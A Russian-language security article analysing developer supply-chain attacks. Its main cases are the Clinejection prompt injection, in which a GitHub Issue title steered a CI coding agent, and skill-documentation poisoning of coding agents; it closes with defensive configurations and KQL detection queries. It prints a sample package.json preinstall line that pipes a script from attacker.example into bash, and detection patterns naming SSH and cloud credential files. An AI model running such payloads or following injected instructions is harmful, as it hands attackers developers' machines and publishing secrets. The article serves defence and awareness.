Начну пожалуй с истории атаки на расширение Cline. Разработчик открывает GitHub Issue в репозитории популярного IDE-расширения - и через восемь часов на каждой машине, выполнившей
npm update, стоит AI-агент с полным доступом к файловой системе и шеллу. Не через zero-day в ядре ОС. Не через RCE в веб-приложении. Через заголовок тикета в GitHub. Просто вдумайтесь - через plain text в заголовке Issue.Причём это реальная история атаки Clinejection на расширение Cline (~700K+ установок в VS Code Marketplace на момент атаки). И это лишь один эпизод в нарастающей волне supply chain атак на разработчиков, где вектором выступают IDE-расширения, пакетные менеджеры и AI-кодинг-агенты.
Ниже - разбор конкретных атак с хронологией, MITRE ATT&CK-маппингом и конфигами для защиты. Не буду пересказывать «что такое supply chain» - сразу к делу.
Масштаб: 704 000+ вредоносных пакетов (на октябрь 2024) и триллионы загрузок
Прежде чем препарировать конкретные кейсы, зафиксируем масштаб. По данным 10-го ежегодного отчёта Sonatype State of the Software Supply Chain за 2024 год: Подробнее - в нашей статье "Атаки на цепочку поставок".-
Ссылка скрыта от гостейобнаружены с 2019 года (кумулятивно на момент публикации в октябре 2024; к середине 2025-го цифра наверняка выше)
- 6.6 триллиона загрузок open source пакетов прогнозировалось до конца 2024 года
- npm обслуживает более 4.5 триллиона запросов в год при росте 70% год к году
- PyPI показывает 87% рост запросов, подпитываемый AI/ML-бумом
Атаки на цепочку поставок ПО давно перестали быть штучным товаром уровня SolarWinds. Сейчас это конвейер: от тайпсквоттинг-пакетов и вредоносных VSCode расширений до отравления экосистем AI-агентов. Каждый новый вектор бьёт по одному и тому же звену - рабочей машине разработчика.
Clinejection: prompt injection в IDE-расширение компрометирует npm-пакет
Cline - популярное AI-расширение для VS Code с ~700K+ установками на момент атаки (по данным VS Code Marketplace), использующее Anthropic Claude для автоматизации задач разработки. В конце 2024 - начале 2025 года мейнтейнеры прикрутили workflow для автоматической сортировки GitHub Issues с помощьюclaude-code-action. Два решения в конфигурации оказались фатальными.Первое -
allowed_non_write_users: "*": любой пользователь GitHub мог триггернуть workflow, просто открыв Issue. Второе - инструментам агента дали полный набор: Bash, Read, Write, Edit. Заголовок Issue интерполировался напрямую в промпт Claude. Классическая поверхность для indirect prompt injection - и дверь нараспашку.Атакующий создавал Issue с заголовком, содержащим инструкции для переопределения поведения Claude. В заголовке - ссылка на конкретный коммит через
github:cline/cline#aaaaaaaa. Благодаря архитектуре форков GitHub, коммит из форка атакующего доступен через URL родительского репозитория даже после удаления форка - так называемый «dangling commit». Удобная штука, если вы атакующий.Коммит подменял
package.json, добавляя вредоносный preinstall-скрипт:
JSON:
{
"scripts": {
"preinstall": "curl -s https://attacker.example/payload.sh | bash"
}
}
npm install через Bash-инструмент, preinstall-скрипт срабатывал автоматически. Как отмечает исследователь Snyk, Claude «с радостью выполнял payload во всех тестовых попытках» на зеркале репозитория Cline. Без колебаний - AI-агент просто не видит разницы между легитимной задачей и вредоносной инструкцией в заголовке тикета.Cache poisoning через GitHub Actions и кража production-секретов
Prompt injection скомпрометировал runner workflow для сортировки, но у этого workflow были ограниченные permissions - нет доступа к секретам публикации. Для компрометации CI/CD пайплайна нужен lateral movement.Здесь вступает в игру cache poisoning в GitHub Actions. Критическое свойство: любой workflow на default-ветке может читать и записывать в shared Actions cache. Низкопривилегированный triage-workflow разделял cache scope с высокопривилегированным nightly release workflow. Лично я до этого кейса не задумывался, насколько cache scope в Actions - дырявая абстракция.
Цепочка атаки через кеш:
- Из triage-workflow заполнить кеш мусорными данными объёмом более 10 ГБ
- Сработает LRU-eviction - легитимные записи кеша вытесняются
- Установить отравленные записи кеша, совпадающие с ключами nightly workflow
- Nightly publish workflow восстанавливает отравленный
node_modulesв ~2:00 UTC - Произвольный код выполняется в контексте workflow с доступом к
VSCE_PAT,OVSX_PATиNPM_RELEASE_TOKEN
actions/checkout.Отдельная проблема: nightly и production credentials были идентичны. VS Code Marketplace и Open VSX привязывают токены публикации к publisher identity, а не к конкретному расширению. npm-токен аналогично привязан к пакету
cline, общему между nightly и production. Результат - nightly PAT мог опубликовать production release. Это прямая Open VSX атака через компрометацию единого токена публикации.9 февраля 2025 года Khan опубликовал findings. Cline исправил уязвимость за 30 минут: убрали AI triage workflows, удалили потребление кеша из publish workflows, ротировали credentials. Но ротация оказалась неполной - 17 февраля 2025 года, согласно публикации Khan, неизвестный актор использовал всё ещё активный npm-токен для публикации
cline@2.3.0 с единственной модификацией: глобальная установка AI-агента OpenClaw.Вредоносная версия была доступна около восьми часов. Как отметил исследователь Yuval Zacharia: «Если атакующий может удалённо отправлять промпты агенту - это не просто малварь, это следующая эволюция C2. Агент - это имплант, а plain text - протокол». Красиво сказано, и по сути верно - мы получили C2-канал, где command language это обычный английский текст.
После инцидента Cline перешёл на npm OIDC provenance через GitHub Actions, устранив long-lived static tokens как поверхность атаки.
Вредоносные npm пакеты: supply chain attack через postinstall hooks
Clinejection - далеко не единственный supply chain attack на пакетные менеджеры. Практически одновременно были обнаружены вредоносные тайпсквоттинг-пакеты, имитирующие Axios - один из самых используемых HTTP-клиентов в npm. Уточню: речь не о компрометации основного пакетаaxios, а о публикации поддельных пакетов с похожими именами - эксплуатация доверия к бренду в чистом виде. Конкретные имена намеренно опущены из-за высокой скорости ротации (пакеты удаляются из npm в течение часов), но верифицируемые примеры есть в публичных advisory Socket.dev, Phylum и Sonatype - серии @axios-http/*, axois, axxios и подобные, регулярно всплывающие в 2024–2025 годах.Характерная цепочка атаки:
- Внедрение staged-зависимости с postinstall-скриптом
- Скрипт разворачивал обфусцированный dropper
- Dropper загружал платформо-специфичные payload'ы (Windows, macOS, Linux)
- Установка RAT с persistence и возможностью выполнения команд
- Малварь подчищала за собой: self-delete + восстановление изменённых файлов
npm install в этом окне». (Цитата относится к общему классу supply chain атак на npm.)И вот что Evans выделяет отдельно - безопасность IDE плагинов как слепое пятно: «Разработчики, которые закрепили версии, поддерживали lockfiles и следовали стандартным практикам, всё равно могли быть скомпрометированы, потому что их редактор тянул зависимость за кулисами». IDE-расширения, автоматически подтягивающие обновления без строгого lockfile enforcement, расширяют поверхность атаки за пределы CI-пайплайнов и пакетных менеджеров.
PoisonedSkills: отравление AI-кодинг-агентов через «документацию»
Исследование PoisonedSkills (Tianyang Liu et al., arXiv:2507.01127, 2025) описывает свежий класс атак - supply chain poisoning через навыки (skills) LLM-кодинг-агентов. Ключевая техника - Document-Driven Implicit Payload Execution (DDIPE): вредоносная логика встраивается в примеры кода и шаблоны конфигурации внутри документации навыка (например,SKILL.md).Когда кодинг-агент переиспользует эти примеры при выполнении обычных задач, payload выполняется без явных вредоносных инструкций. Агент воспринимает code blocks в документации как доверенные reference implementations. По сути, ему скармливают «учебник» с примерами троянов - и он послушно их копирует.
Результаты тестирования на четырёх фреймворках (Claude Code, OpenHands, Codex, Gemini CLI) и пяти моделях:
| Метрика | Значение |
|---|---|
| Сгенерировано adversarial skills | 1 070 из 81 seed'а |
| Покрытие MITRE ATT&CK | 15 категорий |
| Bypass rate (DDIPE) | 11.6%–33.5% (диапазон по фреймворкам/моделям; детали в arXiv:2507.01127) |
| Bypass rate (explicit injection) | 0% при сильной защите |
| Обход И детекта, И alignment | 2.5% |
| Подтверждённые уязвимости | 4 (2 исправлены) |
Обратите внимание на асимметрию: explicit instruction injection - 0% при наличии architectural defenses, а DDIPE - до 33.5%. Implicit-техники через документацию радикально эффективнее прямых вредоносных инструкций. Вредоносные npm пакеты нового поколения не содержат явно вредоносного кода - они содержат «документацию», которую AI-агент исполняет как код. Красивый фантик, а внутри - малварь.
Такие техники характерны для supply chain малвари - многослойная обфускация, контекстно-зависимая активация payload'а через
Ссылка скрыта от гостей
и эксплуатация доверия к легитимным каналам распространения. В случае PoisonedSkills канал доверия - не npm registry, а сама документация навыка, которую агент разбирает как инструкцию к действию.
Ссылка скрыта от гостей
: code injection в Claude Code (CVSS 8.7)
Уязвимость CVE-2025-59536 демонстрирует тот же класс проблем (code injection в AI-кодинг-агентах), что описан в PoisonedSkills, хотя прямая атрибуция этого CVE к исследованию не подтверждена. Верифицированные данные из NVD:- Продукт: Anthropic Claude Code (версии до 1.0.111)
- Тип: Code Injection (CWE-94)
- CVSS: 8.7 (HIGH) по CVSS:4.0 (не 3.1 - шкалы различаются, порог Critical в 4.0 начинается с 9.0)
- Вектор:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AV:N- атака по сети, физический доступ не нуженAC:L- низкая сложность эксплуатацииAT:N- дополнительных условий не требуется (Attack Requirements: None)PR:N- привилегии не нужныUI:P- нужно пассивное действие пользователя (запуск Claude Code в не доверительной директории; в CVSS 4.0 UI - это Passive, отличается от Required в 3.1)VC:H/VI:H/VA:H- полная компрометация конфиденциальности, целостности и доступностиSC:N/SI:N/SA:N- влияние на последующие системы отсутствует
git clone + claude - и всё, код уже выполнился.Пользователи с автоматическим обновлением получили фикс автоматически. Остальным - обновиться до 1.0.111 или выше:
Bash:
claude --version
# Если < 1.0.111 - немедленно обновить
npm update -g @anthropic-ai/claude-code
Безопасность IDE-расширений: слепая зона DevSecOps-пайплайна
Отдельно стоит разобрать, почему вредоносные VSCode расширения и аналогичные плагины для JetBrains - настолько опасный вектор. В отличие от пакетов в npm или PyPI, IDE-расширения:- Работают с привилегиями IDE - доступ к файловой системе проекта, терминалу, переменным окружения и Git-credentials
- Не покрываются стандартным аудитом зависимостей -
npm audit,pip-audit, Snyk, Dependabot проверяют зависимости проекта, но не расширения редактора - Обновляются автоматически - по умолчанию VS Code автообновляет расширения без lockfile-контроля
- Невидимы для SBOM - ни Syft, ни CycloneDX не генерируют SBOM для установленных IDE-расширений
При воспроизведении подобных сценариев в изолированных средах характерный паттерн: вредоносное расширение VS Code выполняет
postactivate-логику, которая читает .env, ~/.ssh/, ~/.aws/credentials и отправляет данные на C2 через Web Protocols (T1071.001, Command and Control). Для EDR это выглядит как нормальная активность VS Code - процесс code делает HTTP-запросы, что абсолютно штатно. Попробуй отличи легитимный запрос к marketplace от exfil'а SSH-ключей - по сигнатуре они одинаковые.Практика: защита от supply chain атак - делай раз, делай два, делай три
Хватит про атакующих - переходим к обороне. Ниже - конкретные шаги для hardening DevSecOps-пайплайна, привязанные к разобранным выше векторам.Шаг 1: Lockfile enforcement и аудит зависимостей
Lockfile - первая линия обороны от supply chain атак на пакетные менеджеры. Но просто иметь lockfile недостаточно - нужен enforced режим:
Bash:
# npm: только CI-режим, СТРОГО по lockfile
npm ci --ignore-scripts
# Затем отдельно запуск скриптов для проверенных пакетов
npm rebuild
# pip: использовать hash-checking mode
pip install --require-hashes -r requirements.txt
# Генерация requirements с хешами
pip-compile --generate-hashes requirements.in
Bash:
# npm: встроенный аудит
npm audit --audit-level=high
# pip-audit: проверка Python-зависимостей по OSV
pip-audit --strict --desc
# Semgrep: поиск подозрительных паттернов в зависимостях
semgrep --config p/supply-chain .
--ignore-scripts в npm ci блокирует postinstall-хуки - именно тот вектор, который использовался в атаках на тайпсквоттинг-пакеты и Clinejection. Для пакетов, которым скрипты реально нужны, ведите явный allowlist в .npmrc:
INI:
# .npmrc - блокировка скриптов по умолчанию
ignore-scripts=true
# Разрешить скрипты только для проверенных пакетов
# (через npm config или CI-переменные)
Шаг 2: Hardening CI/CD - секреты, кеш и SLSA framework
Clinejection показал наглядно: shared cache между workflows с разными уровнями привилегий - катастрофа. Рекомендации по защите GitHub Actions:
YAML:
# Минимальные permissions для каждого workflow
permissions:
contents: read
issues: read
# НЕ давать write без необходимости
# Изоляция publish workflow
jobs:
publish:
# Отдельный environment с manual approval
environment: production
# OIDC вместо static tokens
permissions:
id-token: write
contents: read
YAML:
# Явно ограничить кеш по workflow
- uses: actions/cache@v4
with:
path: node_modules
key: ${{ runner.os }}-publish-${{ hashFiles('package-lock.json') }}
# НЕ использовать restore-keys с широким паттерном
# restore-keys: ${{ runner.os }}- # <-- ЭТО ОПАСНО
Ссылка скрыта от гостей
и подпись артефактов через Sigstore/Cosign:
Bash:
# Подпись Docker-образа через Cosign (keyless, рекомендуется для CI/CD)
# В GitHub Actions OIDC identity подставляется автоматически
cosign sign myregistry/myimage:v1.0
# Верификация при деплое (keyless - проверка через Rekor transparency log)
cosign verify --certificate-identity=... --certificate-oidc-issuer=... myregistry/myimage:v1.0
# Альтернатива для air-gapped сред: key-pair mode
# cosign sign --key cosign.key myregistry/myimage:v1.0
# cosign verify --key cosign.pub myregistry/myimage:v1.0
# Генерация SBOM через Syft
syft packages myregistry/myimage:v1.0 -o cyclonedx-json > sbom.json
# Подпись SBOM
cosign attest --key cosign.key --predicate sbom.json --type cyclonedx myregistry/myimage:v1.0
YAML:
# Artifactory: политика virtual repo
# Запретить кеширование пакетов без проверки
# В Artifactory Admin > Remote Repositories:
# - Включить "Block Mismatching Mime Types"
# - Включить "Xray Index" для сканирования
# - Настроить Priority Resolution для приватных пакетов ВЫШЕ публичных
Шаг 3: Мониторинг и детектирование вредоносных расширений
IDE-расширения не покрываются стандартными инструментами аудита зависимостей. Придётся собирать мониторинг руками:
Bash:
# Инвентаризация установленных VS Code расширений
code --list-extensions --show-versions > vscode_extensions.txt
# Проверка расширений на известные уязвимости
# (автоматизации пока толком нет - ручной процесс)
# Для каждого расширения:
# 1. Проверить publisher в VS Code Marketplace
# 2. Сравнить с Open VSX (если используется)
# 3. Проверить дату создания и историю обновлений
Код:
# KQL: детект чтения credential-файлов из IDE-процессов
DeviceFileEvents
| where InitiatingProcessFileName in ("code", "code-insiders", "idea64")
| where FileName in (".env", "credentials", "id_rsa", "id_ed25519")
or FolderPath has_any (".ssh", ".aws", ".azure")
| where ActionType == "FileRead"
| project Timestamp, DeviceName, InitiatingProcessFileName,
FolderPath, FileName
| sort by Timestamp desc
Код:
# KQL: нетипичные сетевые соединения из IDE
DeviceNetworkEvents
| where InitiatingProcessFileName in ("code", "code-insiders")
| where RemoteUrl !has "marketplace.visualstudio.com"
and RemoteUrl !has "vscode.dev"
and RemoteUrl !has "github.com"
and RemoteUrl !has "update.code.visualstudio.com"
| summarize ConnectionCount=count() by RemoteUrl, DeviceName
| where ConnectionCount < 5
| sort by ConnectionCount asc
Bash:
# Шаг 1: Скачать без установки
npm pack <package-name>
# Шаг 2: Распаковать и посмотреть, что внутри
tar -xzf <package-name>-*.tgz
cat package/package.json | jq '.scripts'
# Шаг 3: Базовый поиск обфускации в JS-файлах
# ВНИМАНИЕ: grep - лишь первый шаг, sophisticated обфускацию он не поймает
grep -rEn 'eval|Function\(|String\.fromCharCode|\\x[0-9a-fA-F]{2}' package/
grep -rn 'Buffer.from.*base64' package/
grep -rEn 'child_process|exec|spawn|require\([^"'\''`]|import\([^"'\''`]' package/
# Шаг 3b: Углублённый анализ (рекомендуется)
semgrep --config p/javascript-audit package/
# Или Socket.dev CLI для автоматического детекта
# Шаг 4: Проверить provenance (если есть)
npm view <package-name> --json | jq '.dist.attestations'
Чек-лист: защита DevSecOps-пайплайна от атак на цепочку поставок ПО
Сводная таблица мер, привязанная к разобранным кейсам:| Мера | Вектор, который блокирует | Инструменты |
|---|---|---|
Lockfile enforcement с --ignore-scripts | Postinstall-атаки (тайпсквоттинг-пакеты) | npm ci, pip --require-hashes |
| OIDC provenance вместо static tokens | Кража токенов публикации (Clinejection) | GitHub Actions OIDC, npm provenance |
| Изоляция cache scope между workflows | Cache poisoning (Clinejection) | Раздельные cache keys, no restore-keys |
| Manual approval для publish environments | Несанкционированная публикация | GitHub Environments, branch protection |
| Подпись артефактов (Sigstore/Cosign) | Подмена артефактов в registry | Cosign, SLSA framework |
| Инвентаризация IDE-расширений | Вредоносные VSCode расширения | code --list-extensions, организационные политики |
| Мониторинг credential-файлов из IDE-процессов | Кража secrets через расширения | KQL/Splunk-запросы, EDR-правила |
| Предустановочный аудит пакетов | Тайпсквоттинг, registry poisoning | npm pack, Socket.dev, pip-audit |
| SBOM-генерация и аттестация | Отсутствие видимости в зависимости | Syft, CycloneDX, Cosign attest |
| Ограничение permissions AI-агентов в CI/CD | Prompt injection в AI workflows | Минимальные permissions, без "*" |
Если в вашей организации используются AI-кодинг-агенты (Cline, Cursor, Claude Code, Copilot) - любые workflows с AI-автоматизацией должны работать с минимальными привилегиями и без доступа к секретам публикации. Clinejection показал это максимально наглядно:
allowed_non_write_users: "*" + Bash tool = полная компрометация пайплайна через один Issue.По данным PoisonedSkills, даже при наличии model-level alignment и framework-level architectural guardrails, 2.5% adversarial skills обходят оба уровня защиты. Это значит, что DevSecOps безопасность пайплайна не может полагаться исключительно на встроенные механизмы AI-фреймворков - нужны внешние контроли: sandboxing, network policies и инвентаризация всех action-space операций агента.
Supply chain атаки на разработчиков в 2025 году - это не история про один скомпрометированный пакет. Это системная проблема доверия: к пакетным менеджерам, к IDE-расширениям, к AI-агентам, к кешу CI/CD. Каждое звено, которому вы доверяете без верификации, - потенциальный вектор. Прогоните
code --list-extensions на своей машине прямо сейчас, проверьте permissions в GitHub Actions workflows, убедитесь что --ignore-scripts стоит в CI. Как сформулировал Field CTO Sonatype Ilkka Turunen: «Атакующим не нужно компрометировать код, которому люди доверяют, - достаточно скомпрометировать доверие вокруг него».
Последнее редактирование модератором: